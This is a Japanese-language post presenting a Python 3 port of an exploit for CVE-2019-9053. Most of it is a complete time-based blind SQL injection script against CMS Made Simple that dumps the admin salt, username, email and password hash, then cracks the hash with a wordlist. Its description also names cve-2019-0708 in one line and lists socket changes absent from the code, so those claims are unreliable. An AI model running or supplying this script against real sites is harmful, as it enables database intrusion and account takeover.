
HackHeart による cve-2019-9053 の Python エクスプロイト
cve-2019-0708 の Python エクスプロイト – by HackHeart 🧠 コードレビューと移植 - Python 2 → Python 3 このエクスプロイトは当初 Python 2 で書かれていましたが、Python 2 は現代のシステムではもはやサポートされていません。互換性を確保し、将来性のあるツールを維持するため、コードベース全体を慎重にレビューし、Python 3 に移行しました。
🔧 移植における主な改善点:
print 文を Python 3 の構文に更新
raw_input() を input() に置き換え
socket 操作を byte/str を適切に処理するよう適合 (.decode() を追加)
xrange() や .iteritems() などの非推奨メソッドを削除
Python 3.8 以降および最新の Linux ディストリビューションとのスクリプト互換性を検証
🛡️ このバージョンはエクスプロイトのロジックをそのまま維持しつつ、以下を保証します:
最新の OSCP / Red Team ラボとの互換性
よりクリーンで安全、読みやすい構文
最新の環境 (VS Code、Kali、Parrot OS など) ですぐに実行可能
#!/usr/bin/env python3
import requests import time import argparse import hashlib
parser = argparse.ArgumentParser() parser.add_argument('-u', '--url', required=True, help="Base target URI (e.g. http://10.10.10.100/cms)") parser.add_argument('-w', '--wordlist', help="Wordlist for cracking admin password") parser.add_argument('-c', '--crack', action='store_true', help="Crack password with wordlist")
args = parser.parse_args()
url_vuln = args.url.rstrip('/') + '/moduleinterface.php?mact=News,m1_,default,0' session = requests.Session() dictionary = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@._-$' TIME = 1
flag = True salt = '' username = '' email = '' password_hash = '' output = ""
def dump_field(field_name, table, column, condition): global flag result = "" ord_result = "" while flag: flag = False for char in dictionary: temp_result = result + char ord_temp_result = ord_result + format(ord(char), "x") print(f"[*] Trying {temp_result}") payload = f"a,b,1,5))+AND+(SELECT+SLEEP({TIME})+FROM+{table}+WHERE+{column}+LIKE+0x{ord_temp_result}25+AND+{condition})--+" start_time = time.time() session.get(url_vuln + "&m1_idlist=" + payload) if time.time() - start_time >= TIME: result = temp_result ord_result = ord_temp_result flag = True break return result
print("[+] Extracting salt...") flag = True salt = dump_field("salt", "cms_siteprefs", "sitepref_value", "sitepref_name+LIKE+0x736974656d61736b") output += f"Salt: {salt}\n"
print("[+] Extracting username...") flag = True username = dump_field("username", "cms_users", "username", "user_id+LIKE+0x31") output += f"Username: {username}\n"
print("[+] Extracting email...") flag = True email = dump_field("email", "cms_users", "email", "user_id+LIKE+0x31") output += f"Email: {email}\n"
print("[+] Extracting password hash...") flag = True password_hash = dump_field("password", "cms_users", "password", "user_id+LIKE+0x31") output += f"Hash: {password_hash}\n"
if args.crack and args.wordlist: print("[+] Cracking password...") with open(args.wordlist, 'r', encoding='utf-8', errors='ignore') as f: for line in f: word = line.strip() print(f"[*] Trying password: {word}") if hashlib.md5((salt + word).encode()).hexdigest() == password_hash: output += f"[+] Password cracked: {word}\n" break
print("\n=== Exploit Results ===") print(output)